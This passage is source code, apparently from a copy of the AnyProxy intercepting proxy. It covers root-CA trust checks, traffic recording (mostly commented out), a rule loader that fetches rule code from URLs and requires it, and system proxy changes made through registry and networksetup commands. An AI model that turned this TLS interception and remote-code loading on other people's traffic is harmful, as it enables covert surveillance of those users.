173 | callback && callback(new Error('ROOTCA_NOT_EXIST'));
174 | } else if (/^win/.test(process.platform)) {
175 | winCertUtil.ifWinRootCATrusted()
176 | .then((ifTrusted) => {
177 | callback && callback(null, ifTrusted)
178 | })
179 | .catch((e) => {
180 | callback && callback(null, false);
181 | })
182 | } else {
183 | const HTTPS_RESPONSE = 'HTTPS Server is ON';
184 | // localtest.me --> 127.0.0.1
185 | getCertificate(DOMAIN_TO_VERIFY_HTTPS, (e, key, cert) => {
186 | getPort()
187 | .then(port => {
188 | if (e) {
189 | callback && callback(e);
190 | return;
191 | }
192 | const server = https
193 | .createServer(
194 | {
195 | ca: fs.readFileSync(rootCAcrtFilePath),
196 | key,
197 | cert
198 | },
199 | (req, res) => {
200 | res.end(HTTPS_RESPONSE);
201 | }
202 | )
203 | .listen(port);
204 |
205 | // do not use node.http to test the cert. Ref: https://github.com/nodejs/node/issues/4175
206 | const testCmd = `curl https://${DOMAIN_TO_VERIFY_HTTPS}:${port}`;
207 | exec(testCmd, { timeout: 1000 }, (error, stdout, stderr) => {
208 | server.close();
209 | if (error) {
210 | callback && callback(null, false);
211 | }
212 | if (stdout && stdout.indexOf(HTTPS_RESPONSE) >= 0) {
213 | callback && callback(null, true);
214 | } else {
215 | callback && callback(null, false);
216 | }
217 | });
218 | })
219 | .catch(callback);
220 | });
221 | }
222 | }
223 |
224 | return {
225 | getRootCAFilePath,
226 | generateRootCA,
227 | getCertificate,
228 | clearCerts,
229 | isRootCAFileExists,
230 | ifRootCATrusted,
231 | getRootDirPath,
232 | };
233 | }
234 |
235 | module.exports = CertManager;
236 |
--------------------------------------------------------------------------------
/anyproxy/lib/node-easy-cert/util.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | const fs = require('fs');
4 | const path = require('path');
5 |
6 | function deleteFolderContentsRecursive(dirPath) {
7 | if (!dirPath.trim() || dirPath === '/') {
8 | throw new Error('can_not_delete_this_dir');
9 | }
10 |
11 | if (fs.existsSync(dirPath)) {
12 | fs.readdirSync(dirPath).forEach((file, index) => {
13 | const curPath = path.join(dirPath, file);
14 | if (fs.lstatSync(curPath).isDirectory()) {
15 | deleteFolderContentsRecursive(curPath);
16 | } else { // delete all files
17 | fs.unlinkSync(curPath);
18 | }
19 | });
20 | // keep the folder
21 | // fs.rmdirSync(dirPath);
22 | }
23 | }
24 |
25 | module.exports.getUserHome = function () {
26 | return process.env.HOME || process.env.USERPROFILE;
27 | };
28 |
29 | module.exports.getDefaultRootDirName = function () {
30 | return '.node_easy_certs';
31 | };
32 |
33 | /*
34 | * identify whether the
35 | */
36 | module.exports.isIpDomain = function (domain = '') {
37 | const ipReg = /^\d+?\.\d+?\.\d+?\.\d+?$/;
38 |
39 | return ipReg.test(domain);
40 | };
41 |
42 | module.exports.deleteFolderContentsRecursive = deleteFolderContentsRecursive;
43 |
--------------------------------------------------------------------------------
/anyproxy/lib/node-easy-cert/winCertUtil.js:
--------------------------------------------------------------------------------
1 | /**
2 | *
3 | */
4 | const Shell = require('node-powershell');
5 |
6 | const anyProxyCertReg = /CN=AnyProxy,\sOU=AnyProxy\sSSL\sProxy/;
7 |
8 | /**
9 | * detect whether root CA is trusted
10 | */
11 | function ifWinRootCATrusted() {
12 | const ps = new Shell({
13 | executionPolicy: 'Bypass',
14 | debugMsg: false,
15 | noProfile: true
16 | });
17 |
18 | return new Promise((resolve, reject) => {
19 | ps.addCommand('Get-ChildItem', [
20 | {
21 | name: 'path',
22 | value: 'cert:\\CurrentUser\\Root'
23 | }
24 | ]);
25 | ps.invoke()
26 | .then((output) => {
27 | const isCATrusted = anyProxyCertReg.test(output);
28 | ps.dispose();
29 | resolve(isCATrusted);
30 | })
31 | .catch((err) => {
32 | console.log(err);
33 | ps.dispose();
34 | resolve(false);
35 | });
36 | })
37 | }
38 |
39 | module.exports.ifWinRootCATrusted = ifWinRootCATrusted;
40 |
--------------------------------------------------------------------------------
/anyproxy/lib/recorder.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | //start recording and share a list when required
4 | const Datastore = require('nedb'),
5 | path = require('path'),
6 | fs = require('fs'),
7 | logUtil = require('./log'),
8 | events = require('events'),
9 | iconv = require('iconv-lite'),
10 | fastJson = require('fast-json-stringify'),
11 | proxyUtil = require('./util');
12 |
13 | const wsMessageStingify = fastJson({
14 | title: 'ws message stringify',
15 | type: 'object',
16 | properties: {
17 | time: {
18 | type: 'integer'
19 | },
20 | message: {
21 | type: 'string'
22 | },
23 | isToServer: {
24 | type: 'boolean'
25 | }
26 | }
27 | });
28 |
29 | const BODY_FILE_PRFIX = 'res_body_';
30 | const WS_MESSAGE_FILE_PRFIX = 'ws_message_';
31 | const CACHE_DIR_PREFIX = 'cache_r';
32 | function getCacheDir() {
33 | const rand = Math.floor(Math.random() * 1000000),
34 | cachePath = path.join(proxyUtil.getAnyProxyPath('cache'), './' + CACHE_DIR_PREFIX + rand);
35 |
36 | //fs.mkdirSync(cachePath);
37 | return cachePath;
38 | }
39 |
40 | function normalizeInfo(id, info) {
41 | const singleRecord = {};
42 |
43 | //general
44 | singleRecord._id = id;
45 | singleRecord.id = id;
46 | singleRecord.url = info.url;
47 | singleRecord.host = info.host;
48 | singleRecord.path = info.path;
49 | singleRecord.method = info.method;
50 |
51 | //req
52 | singleRecord.reqHeader = info.req.headers;
53 | singleRecord.startTime = info.startTime;
54 | singleRecord.reqBody = info.reqBody || '';
55 | singleRecord.protocol = info.protocol || '';
56 |
57 | //res
58 | if (info.endTime) {
59 | singleRecord.statusCode = info.statusCode;
60 | singleRecord.endTime = info.endTime;
61 | singleRecord.resHeader = info.resHeader;
62 | singleRecord.length = info.length;
63 | const contentType = info.resHeader['content-type'] || info.resHeader['Content-Type'];
64 | if (contentType) {
65 | singleRecord.mime = contentType.split(';')[0];
66 | } else {
67 | singleRecord.mime = '';
68 | }
69 |
70 | singleRecord.duration = info.endTime - info.startTime;
71 | } else {
72 | singleRecord.statusCode = '';
73 | singleRecord.endTime = '';
74 | singleRecord.resHeader = '';
75 | singleRecord.length = '';
76 | singleRecord.mime = '';
77 | singleRecord.duration = '';
78 | }
79 |
80 | return singleRecord;
81 | }
82 |
83 | class Recorder extends events.EventEmitter {
84 | constructor(config) {
85 | super(config);
86 | this.globalId = 1;
87 | this.cachePath = getCacheDir();
88 | this.db = new Datastore();
89 |
90 | this.recordBodyMap = []; // id - body
91 | }
92 |
93 | setDbAutoCompact() {
94 | this.db.persistence.setAutocompactionInterval(5001);
95 | }
96 |
97 | stopDbAutoCompact() {
98 | try {
99 | this.db.persistence.stopAutocompaction();
100 | } catch (e) {
101 | logUtil.printLog(e, logUtil.T_ERR);
102 | }
103 | }
104 |
105 | emitUpdate(id, info) {
106 | const self = this;
107 | if (info) {
108 | self.emit('update', info);
109 | } else {
110 | self.getSingleRecord(id, (err, doc) => {
111 | if (!err && !!doc && !!doc[0]) {
112 | self.emit('update', doc[0]);
113 | }
114 | });
115 | }
116 | }
117 |
118 | emitUpdateLatestWsMessage(id, message) {
119 | this.emit('updateLatestWsMsg', message);
120 | }
121 |
122 | updateRecord(id, info) {
123 | /*
124 | if (id < 0) return;
125 | const self = this;
126 | const db = self.db;
127 |
128 | const finalInfo = normalizeInfo(id, info);
129 |
130 | db.update({ _id: id }, finalInfo);
131 | self.updateRecordBody(id, info);
132 |
133 | self.emitUpdate(id, finalInfo);
134 | */
135 | }
136 |
137 | /**
138 | * This method shall be called at each time there are new message
139 | *
140 | */
141 | updateRecordWsMessage(id, message) {
142 | if (id < 0) return;
143 | try {
144 | this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (err, recordWsMessageFile) => {
145 | if (err) return;
146 | return
147 | //fs.appendFile(recordWsMessageFile, wsMessageStingify(message) + ',', () => {});
148 | });
149 | } catch (e) {
150 | console.error(e);
151 | logUtil.error(e.message + e.stack);
152 | }
153 |
154 | this.emitUpdateLatestWsMessage(id, {
155 | id: id,
156 | message: message
157 | });
158 | }
159 |
160 | updateExtInfo(id, extInfo) {
161 | const self = this;
162 | const db = self.db;
163 |
164 | /*
165 | db.update({ _id: id }, { $set: { ext: extInfo } }, {}, (err, nums) => {
166 | if (!err) {
167 | self.emitUpdate(id);
168 | }
169 | });
170 | */
171 | }
172 |
173 | appendRecord(info) {
174 | if (info.req.headers.anyproxy_web_req) { //TODO request from web interface
175 | return -1;
176 | }
177 | const self = this;
178 | const db = self.db;
179 |
180 | const thisId = self.globalId++;
181 | /*
182 | const finalInfo = normalizeInfo(thisId, info);
183 | db.insert(finalInfo);
184 | self.updateRecordBody(thisId, info);
185 |
186 | self.emitUpdate(thisId, finalInfo);
187 | */
188 | return thisId;
189 | }
190 |
191 | updateRecordBody(id, info) {
192 | const self = this;
193 |
194 | if (id === -1) return;
195 |
196 | if (!id || typeof info.resBody === 'undefined') return;
197 | //add to body map
198 | //ignore image data
199 | return
200 | self.getCacheFile(BODY_FILE_PRFIX + id, (err, bodyFile) => {
201 | if (err) return;
202 | //fs.writeFile(bodyFile, info.resBody, () => {});
203 | });
204 | }
205 |
206 | /**
207 | * get body and websocket file
208 | *
209 | */
210 | getBody(id, cb) {
211 | const self = this;
212 |
213 | if (id < 0) {
214 | cb && cb('');
215 | return;
216 | }
217 | self.getCacheFile(BODY_FILE_PRFIX + id, (error, bodyFile) => {
218 | if (error) {
219 | cb && cb(error);
220 | return;
221 | }
222 | fs.access(bodyFile, fs.F_OK || fs.R_OK, (err) => {
223 | if (err) {
224 | cb && cb(err);
225 | } else {
226 | fs.readFile(bodyFile, cb);
227 | }
228 | });
229 | });
230 | }
231 |
232 | getDecodedBody(id, cb) {
233 | const self = this;
234 | const result = {
235 | method: '',
236 | type: 'unknown',
237 | mime: '',
238 | content: ''
239 | };
240 | self.getSingleRecord(id, (err, doc) => {
241 | //check whether this record exists
242 | if (!doc || !doc[0]) {
243 | cb(new Error('failed to find record for this id'));
244 | return;
245 | }
246 |
247 | // also put the `method` back, so the client can decide whether to load ws messages
248 | result.method = doc[0].method;
249 |
250 | self.getBody(id, (error, bodyContent) => {
251 | if (error) {
252 | cb(error);
253 | } else if (!bodyContent) {
254 | cb(null, result);
255 | } else {
256 | const record = doc[0],
257 | resHeader = record.resHeader || {};
258 | try {
259 | const headerStr = JSON.stringify(resHeader),
260 | charsetMatch = headerStr.match(/charset='?([a-zA-Z0-9-]+)'?/),
261 | contentType = resHeader && (resHeader['content-type'] || resHeader['Content-Type']);
262 |
263 | if (charsetMatch && charsetMatch.length) {
264 | const currentCharset = charsetMatch[1].toLowerCase();
265 | if (currentCharset !== 'utf-8' && iconv.encodingExists(currentCharset)) {
266 | bodyContent = iconv.decode(bodyContent, currentCharset);
267 | }
268 |
269 | result.content = bodyContent.toString();
270 | result.type = contentType && /application\/json/i.test(contentType) ? 'json' : 'text';
271 | } else if (contentType && /image/i.test(contentType)) {
272 | result.type = 'image';
273 | result.content = bodyContent;
274 | } else {
275 | result.type = contentType;
276 | result.content = bodyContent.toString();
277 | }
278 | result.mime = contentType;
279 | result.fileName = path.basename(record.path);
280 | result.statusCode = record.statusCode;
281 | } catch (e) {
282 | console.error(e);
283 | }
284 | cb(null, result);
285 | }
286 | });
287 | });
288 | }
289 |
290 | /**
291 | * get decoded WebSoket messages
292 | *
293 | */
294 | getDecodedWsMessage(id, cb) {
295 | if (id < 0) {
296 | cb && cb([]);
297 | return;
298 | }
299 |
300 | this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (outError, wsMessageFile) => {
301 | if (outError) {
302 | cb && cb(outError);
303 | return;
304 | }
305 | fs.access(wsMessageFile, fs.F_OK || fs.R_OK, (err) => {
306 | if (err) {
307 | cb && cb(err);
308 | } else {
309 | fs.readFile(wsMessageFile, 'utf8', (error, content) => {
310 | if (error) {
311 | cb && cb(err);
312 | }
313 |
314 | try {
315 | // remove the last dash "," if it has, since it's redundant
316 | // and also add brackets to make it a complete JSON structure
317 | content = `[${content.replace(/,$/, '')}]`;
318 | const messages = JSON.parse(content);
319 | cb(null, messages);
320 | } catch (e) {
321 | console.error(e);
322 | logUtil.error(e.message + e.stack);
323 | cb(e);
324 | }
325 | });
326 | }
327 | });
328 | });
329 | }
330 |
331 | getSingleRecord(id, cb) {
332 | const self = this;
333 | const db = self.db;
334 | db.find({ _id: parseInt(id, 10) }, cb);
335 | }
336 |
337 | getSummaryList(cb) {
338 | const self = this;
339 | const db = self.db;
340 | db.find({}, cb);
341 | }
342 |
343 | getRecords(idStart, limit, cb) {
344 | const self = this;
345 | const db = self.db;
346 | limit = limit || 10;
347 | idStart = typeof idStart === 'number' ? idStart : (self.globalId - limit);
348 | db.find({ _id: { $gte: parseInt(idStart, 10) } })
349 | .sort({ _id: 1 })
350 | .limit(limit)
351 | .exec(cb);
352 | }
353 |
354 | clear() {
355 | logUtil.printLog('clearing cache file...');
356 | const self = this;
357 | proxyUtil.deleteFolderContentsRecursive(self.cachePath, true);
358 | }
359 |
360 | getCacheFile(fileName, cb) {
361 | const self = this;
362 | const cachePath = self.cachePath;
363 | const filepath = path.join(cachePath, fileName);
364 |
365 | if (filepath.indexOf(cachePath) !== 0) {
366 | cb && cb(new Error('invalid cache file path'));
367 | } else {
368 | cb && cb(null, filepath);
369 | return filepath;
370 | }
371 | }
372 | }
373 |
374 | module.exports = Recorder;
375 |
--------------------------------------------------------------------------------
/anyproxy/lib/requestErrorHandler.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /*
4 | * handle all request error here,
5 | *
6 | */
7 | const pug = require('pug');
8 | const path = require('path');
9 |
10 | const error502PugFn = pug.compileFile(path.join(__dirname, '../resource/502.pug'));
11 | const certPugFn = pug.compileFile(path.join(__dirname, '../resource/cert_error.pug'));
12 |
13 | /**
14 | * get error content for certification issues
15 | */
16 | function getCertErrorContent(error, fullUrl) {
17 | let content;
18 | const title = 'The connection is not private. ';
19 | let explain = 'There are error with the certfication of the site.';
20 | switch (error.code) {
21 | case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': {
22 | explain = 'The certfication of the site you are visiting is not issued by a known agency, '
23 | + 'It usually happenes when the cert is a self-signed one.'
24 | + 'If you know and trust the site, you can run AnyProxy with option -ignore-unauthorized-ssl to continue.'
25 |
26 | break;
27 | }
28 | default: {
29 | explain = ''
30 | break;
31 | }
32 | }
33 |
34 | try {
35 | content = certPugFn({
36 | title: title,
37 | explain: explain,
38 | code: error.code
39 | });
40 | } catch (parseErro) {
41 | content = error.stack;
42 | }
43 |
44 | return content;
45 | }
46 |
47 | /*
48 | * get the default error content
49 | */
50 | function getDefaultErrorCotent(error, fullUrl) {
51 | let content;
52 |
53 | try {
54 | content = error502PugFn({
55 | error,
56 | url: fullUrl,
57 | errorStack: error.stack.split(/\n/)
58 | });
59 | } catch (parseErro) {
60 | content = error.stack;
61 | }
62 |
63 | return content;
64 | }
65 |
66 | /*
67 | * get mapped error content for each error
68 | */
69 | module.exports.getErrorContent = function (error, fullUrl) {
70 | let content = '';
71 | error = error || {};
72 | switch (error.code) {
73 | case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': {
74 | content = getCertErrorContent(error, fullUrl);
75 | break;
76 | }
77 | default: {
78 | content = getDefaultErrorCotent(error, fullUrl);
79 | break;
80 | }
81 | }
82 |
83 | return content;
84 | }
85 |
--------------------------------------------------------------------------------
/anyproxy/lib/ruleLoader.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const proxyUtil = require('./util');
4 | const path = require('path');
5 | const fs = require('fs');
6 | const request = require('request');
7 |
8 | const cachePath = proxyUtil.getAnyProxyPath('cache');
9 |
10 | /**
11 | * download a file and cache
12 | *
13 | * @param {any} url
14 | * @returns {string} cachePath
15 | */
16 | function cacheRemoteFile(url) {
17 | return new Promise((resolve, reject) => {
18 | request(url, (error, response, body) => {
19 | if (error) {
20 | return reject(error);
21 | } else if (response.statusCode !== 200) {
22 | return reject(`failed to load with a status code ${response.statusCode}`);
23 | } else {
24 | const fileCreatedTime = proxyUtil.formatDate(new Date(), 'YYYY_MM_DD_hh_mm_ss');
25 | const random = Math.ceil(Math.random() * 500);
26 | const fileName = `remote_rule_${fileCreatedTime}_r${random}.js`;
27 | const filePath = path.join(cachePath, fileName);
28 | //fs.writeFileSync(filePath, body);
29 | resolve(filePath);
30 | }
31 | });
32 | });
33 | }
34 |
35 |
36 | /**
37 | * load a local npm module
38 | *
39 | * @param {any} filePath
40 | * @returns module
41 | */
42 | function loadLocalPath(filePath) {
43 | return new Promise((resolve, reject) => {
44 | const ruleFilePath = path.resolve(process.cwd(), filePath);
45 | if (fs.existsSync(ruleFilePath)) {
46 | resolve(require(ruleFilePath));
47 | } else {
48 | resolve(require(filePath));
49 | }
50 | });
51 | }
52 |
53 |
54 | /**
55 | * load a module from url or local path
56 | *
57 | * @param {any} urlOrPath
58 | * @returns module
59 | */
60 | function requireModule(urlOrPath) {
61 | return new Promise((resolve, reject) => {
62 | if (/^http/i.test(urlOrPath)) {
63 | resolve(cacheRemoteFile(urlOrPath));
64 | } else {
65 | resolve(urlOrPath);
66 | }
67 | }).then(localPath => loadLocalPath(localPath));
68 | }
69 |
70 | module.exports = {
71 | cacheRemoteFile,
72 | loadLocalPath,
73 | requireModule,
74 | };
75 |
--------------------------------------------------------------------------------
/anyproxy/lib/rule_default.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | module.exports = {
4 |
5 | summary: 'the default rule for AnyProxy',
6 |
7 | /**
8 | *
9 | *
10 | * @param {object} requestDetail
11 | * @param {string} requestDetail.protocol
12 | * @param {object} requestDetail.requestOptions
13 | * @param {object} requestDetail.requestData
14 | * @param {object} requestDetail.response
15 | * @param {number} requestDetail.response.statusCode
16 | * @param {object} requestDetail.response.header
17 | * @param {buffer} requestDetail.response.body
18 | * @returns
19 | */
20 | *beforeSendRequest(requestDetail) {
21 | return null;
22 | },
23 |
24 |
25 | /**
26 | *
27 | *
28 | * @param {object} requestDetail
29 | * @param {object} responseDetail
30 | */
31 | *beforeSendResponse(requestDetail, responseDetail) {
32 | return null;
33 | },
34 |
35 |
36 | /**
37 | * default to return null
38 | * the user MUST return a boolean when they do implement the interface in rule
39 | *
40 | * @param {any} requestDetail
41 | * @returns
42 | */
43 | *beforeDealHttpsRequest(requestDetail) {
44 | return null;
45 | },
46 |
47 | /**
48 | *
49 | *
50 | * @param {any} requestDetail
51 | * @param {any} error
52 | * @returns
53 | */
54 | *onError(requestDetail, error) {
55 | return null;
56 | },
57 |
58 |
59 | /**
60 | *
61 | *
62 | * @param {any} requestDetail
63 | * @param {any} error
64 | * @returns
65 | */
66 | *onConnectError(requestDetail, error) {
67 | return null;
68 | },
69 |
70 |
71 | /**
72 | *
73 | *
74 | * @param {any} requestDetail
75 | * @param {any} error
76 | * @returns
77 | */
78 | *onClientSocketError(requestDetail, error) {
79 | return null;
80 | },
81 | };
82 |
--------------------------------------------------------------------------------
/anyproxy/lib/systemProxyMgr.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | const child_process = require('child_process');
4 |
5 | const networkTypes = ['Ethernet', 'Thunderbolt Ethernet', 'Wi-Fi'];
6 |
7 | function execSync(cmd) {
8 | let stdout,
9 | status = 0;
10 | try {
11 | stdout = child_process.execSync(cmd);
12 | } catch (err) {
13 | stdout = err.stdout;
14 | status = err.status;
15 | }
16 |
17 | return {
18 | stdout: stdout.toString(),
19 | status
20 | };
21 | }
22 |
23 | /**
24 | * proxy for CentOs
25 | * ------------------------------------------------------------------------
26 | *
27 | * file: ~/.bash_profile
28 | *
29 | * http_proxy=http://proxy_server_address:port
30 | * export no_proxy=localhost,127.0.0.1,192.168.0.34
31 | * export http_proxy
32 | * ------------------------------------------------------------------------
33 | */
34 |
35 | /**
36 | * proxy for Ubuntu
37 | * ------------------------------------------------------------------------
38 | *
39 | * file: /etc/environment
40 | * more info: http://askubuntu.com/questions/150210/how-do-i-set-systemwide-proxy-servers-in-xubuntu-lubuntu-or-ubuntu-studio
41 | *
42 | * http_proxy=http://proxy_server_address:port
43 | * export no_proxy=localhost,127.0.0.1,192.168.0.34
44 | * export http_proxy
45 | * ------------------------------------------------------------------------
46 | */
47 |
48 | /**
49 | * ------------------------------------------------------------------------
50 | * mac proxy manager
51 | * ------------------------------------------------------------------------
52 | */
53 |
54 | const macProxyManager = {};
55 |
56 | macProxyManager.getNetworkType = () => {
57 | for (let i = 0; i < networkTypes.length; i++) {
58 | const type = networkTypes[i],
59 | result = execSync('networksetup -getwebproxy ' + type);
60 |
61 | if (result.status === 0) {
62 | macProxyManager.networkType = type;
63 | return type;
64 | }
65 | }
66 |
67 | throw new Error('Unknown network type');
68 | };
69 |
70 |
71 | macProxyManager.enableGlobalProxy = (ip, port, proxyType) => {
72 | if (!ip || !port) {
73 | console.log('failed to set global proxy server.\n ip and port are required.');
74 | return;
75 | }
76 |
77 | proxyType = proxyType || 'http';
78 |
79 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
80 |
81 | return /^http$/i.test(proxyType) ?
82 |
83 | // set http proxy
84 | execSync(
85 | 'networksetup -setwebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost'
86 | .replace(/\${networkType}/g, networkType)
87 | .replace('${ip}', ip)
88 | .replace('${port}', port)) :
89 |
90 | // set https proxy
91 | execSync('networksetup -setsecurewebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost'
92 | .replace(/\${networkType}/g, networkType)
93 | .replace('${ip}', ip)
94 | .replace('${port}', port));
95 | };
96 |
97 | macProxyManager.disableGlobalProxy = (proxyType) => {
98 | proxyType = proxyType || 'http';
99 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
100 | return /^http$/i.test(proxyType) ?
101 |
102 | // set http proxy
103 | execSync(
104 | 'networksetup -setwebproxystate ${networkType} off'
105 | .replace('${networkType}', networkType)) :
106 |
107 | // set https proxy
108 | execSync(
109 | 'networksetup -setsecurewebproxystate ${networkType} off'
110 | .replace('${networkType}', networkType));
111 | };
112 |
113 | macProxyManager.getProxyState = () => {
114 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType();
115 | const result = execSync('networksetup -getwebproxy ${networkType}'.replace('${networkType}', networkType));
116 |
117 | return result;
118 | };
119 |
120 | /**
121 | * ------------------------------------------------------------------------
122 | * windows proxy manager
123 | *
124 | * netsh does not alter the settings for IE
125 | * ------------------------------------------------------------------------
126 | */
127 |
128 | const winProxyManager = {};
129 |
130 | winProxyManager.enableGlobalProxy = (ip, port) => {
131 | if (!ip && !port) {
132 | console.log('failed to set global proxy server.\n ip and port are required.');
133 | return;
134 | }
135 |
136 | return execSync(
137 | // set proxy
138 | 'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer /t REG_SZ /d ${ip}:${port} /f & '
139 | .replace('${ip}', ip)
140 | .replace('${port}', port) +
141 |
142 | // enable proxy
143 | 'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f');
144 | };
145 |
146 | winProxyManager.disableGlobalProxy = () => execSync('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f');
147 |
148 | winProxyManager.getProxyState = () => ''
149 |
150 | winProxyManager.getNetworkType = () => ''
151 |
152 | module.exports = /^win/.test(process.platform) ? winProxyManager : macProxyManager;
153 |
--------------------------------------------------------------------------------
/anyproxy/lib/util.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const fs = require('fs'),
4 | path = require('path'),
5 | mime = require('mime-types'),
6 | color = require('colorful'),
7 | child_process = require('child_process'),
8 | Buffer = require('buffer').Buffer,
9 | logUtil = require('./log');
10 | const networkInterfaces = require('os').networkInterfaces();
11 |
12 | // {"Content-Encoding":"gzip"} --> {"content-encoding":"gzip"}
13 | module.exports.lower_keys = (obj) => {
14 | for (const key in obj) {
15 | const val = obj[key];
16 | delete obj[key];
17 |
18 | obj[key.toLowerCase()] = val;
19 | }
20 |
21 | return obj;
22 | };
23 |
24 | module.exports.merge = function (baseObj, extendObj) {
25 | for (const key in extendObj) {
26 | baseObj[key] = extendObj[key];
27 | }
28 |
29 | return baseObj;
30 | };
31 |
32 | function getUserHome() {
33 | return process.env.HOME || process.env.USERPROFILE;
34 | }
35 | module.exports.getUserHome = getUserHome;
36 |
37 | function getAnyProxyHome() {
38 | const home = path.join(getUserHome(), '/.anyproxy/');
39 | if (!fs.existsSync(home)) {
40 | fs.mkdirSync(home);
41 | }
42 | return home;
43 | }
44 | module.exports.getAnyProxyHome = getAnyProxyHome;
45 |
46 | module.exports.getAnyProxyPath = function (pathName) {
47 | const home = getAnyProxyHome();
48 | const targetPath = path.join(home, pathName);
49 | if (!fs.existsSync(targetPath)) {
50 | //fs.mkdirSync(targetPath);
51 | }
52 | return targetPath;
53 | }
54 |
55 | module.exports.simpleRender = function (str, object, regexp) {
56 | return String(str).replace(regexp || (/\{\{([^{}]+)\}\}/g), (match, name) => {
57 | if (match.charAt(0) === '\\') {
58 | return match.slice(1);
59 | }
60 | return (object[name] != null) ? object[name] : '';
61 | });
62 | };
63 |
64 | module.exports.filewalker = function (root, cb) {
65 | root = root || process.cwd();
66 |
67 | const ret = {
68 | directory: [],
69 | file: []
70 | };
71 |
72 | fs.readdir(root, (err, list) => {
73 | if (list && list.length) {
74 | list.map((item) => {
75 | const fullPath = path.join(root, item),
76 | stat = fs.lstatSync(fullPath);
77 |
78 | if (stat.isFile()) {
79 | ret.file.push({
80 | name: item,
81 | fullPath
82 | });
83 | } else if (stat.isDirectory()) {
84 | ret.directory.push({
85 | name: item,
86 | fullPath
87 | });
88 | }
89 | });
90 | }
91 |
92 | cb && cb.apply(null, [null, ret]);
93 | });
94 | };
95 |
96 | /*
97 | * 获取文件所对应的content-type以及content-length等信息
98 | * 比如在useLocalResponse的时候会使用到
99 | */
100 | module.exports.contentType = function (filepath) {
101 | return mime.contentType(path.extname(filepath));
102 | };
103 |
104 | /*
105 | * 读取file的大小,以byte为单位
106 | */
107 | module.exports.contentLength = function (filepath) {
108 | try {
109 | const stat = fs.statSync(filepath);
110 | return stat.size;
111 | } catch (e) {
112 | logUtil.printLog(color.red('\nfailed to ready local file : ' + filepath));
113 | logUtil.printLog(color.red(e));
114 | return 0;
115 | }
116 | };
117 |
118 | /*
119 | * remove the cache before requiring, the path SHOULD BE RELATIVE TO UTIL.JS
120 | */
121 | module.exports.freshRequire = function (modulePath) {
122 | delete require.cache[require.resolve(modulePath)];
123 | return require(modulePath);
124 | };
125 |
126 | /*
127 | * format the date string
128 | * @param date Date or timestamp
129 | * @param formatter YYYYMMDDHHmmss
130 | */
131 | module.exports.formatDate = function (date, formatter) {
132 | if (typeof date !== 'object') {
133 | date = new Date(date);
134 | }
135 | const transform = function (value) {
136 | return value < 10 ? '0' + value : value;
137 | };
138 | return formatter.replace(/^YYYY|MM|DD|hh|mm|ss/g, (match) => {
139 | switch (match) {
140 | case 'YYYY':
141 | return transform(date.getFullYear());
142 | case 'MM':
143 | return transform(date.getMonth() + 1);
144 | case 'mm':
145 | return transform(date.getMinutes());
146 | case 'DD':
147 | return transform(date.getDate());
148 | case 'hh':
149 | return transform(date.getHours());
150 | case 'ss':
151 | return transform(date.getSeconds());
152 | default:
153 | return ''
154 | }
155 | });
156 | };
157 |
158 |
159 | /**
160 | * get headers(Object) from rawHeaders(Array)
161 | * @param rawHeaders [key, value, key2, value2, ...]
162 |
163 | */
164 |
165 | module.exports.getHeaderFromRawHeaders = function (rawHeaders) {
166 | const headerObj = {};
167 | const _handleSetCookieHeader = function (key, value) {
168 | if (headerObj[key].constructor === Array) {
169 | headerObj[key].push(value);
170 | } else {
171 | headerObj[key] = [headerObj[key], value];
172 | }
173 | };
174 |
175 | if (!!rawHeaders) {
176 | for (let i = 0; i < rawHeaders.length; i += 2) {
177 | const key = rawHeaders[i];
178 | let value = rawHeaders[i + 1];
179 |
180 | if (typeof value === 'string') {
181 | value = value.replace(/\0+$/g, ''); // 去除 \u0000的null字符串
182 | }
183 |
184 | if (!headerObj[key]) {
185 | headerObj[key] = value;
186 | } else {
187 | // headers with same fields could be combined with comma. Ref: https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2
188 | // set-cookie should NOT be combined. Ref: https://tools.ietf.org/html/rfc6265
189 | if (key.toLowerCase() === 'set-cookie') {
190 | _handleSetCookieHeader(key, value);
191 | } else {
192 | headerObj[key] = headerObj[key] + ',' + value;
193 | }
194 | }
195 | }
196 | }
197 | return headerObj;
198 | };
199 |
200 | module.exports.getAllIpAddress = function getAllIpAddress() {
201 | const allIp = [];
202 |
203 | Object.keys(networkInterfaces).map((nic) => {
204 | networkInterfaces[nic].filter((detail) => {
205 | if (detail.family.toLowerCase() === 'ipv4') {
206 | allIp.push(detail.address);
207 | }
208 | });
209 | });
210 |
211 | return allIp.length ? allIp : ['127.0.0.1'];
212 | };
213 |
214 | function deleteFolderContentsRecursive(dirPath, ifClearFolderItself) {
215 | if (!dirPath.trim() || dirPath === '/') {
216 | throw new Error('can_not_delete_this_dir');
217 | }
218 |
219 | if (fs.existsSync(dirPath)) {
220 | fs.readdirSync(dirPath).forEach((file) => {
221 | const curPath = path.join(dirPath, file);
222 | if (fs.lstatSync(curPath).isDirectory()) {
223 | deleteFolderContentsRecursive(curPath, true);
224 | } else { // delete all files
225 | fs.unlinkSync(curPath);
226 | }
227 | });
228 |
229 | if (ifClearFolderItself) {
230 | try {
231 | // ref: https://github.com/shelljs/shelljs/issues/49
232 | const start = Date.now();
233 | while (true) {
234 | try {
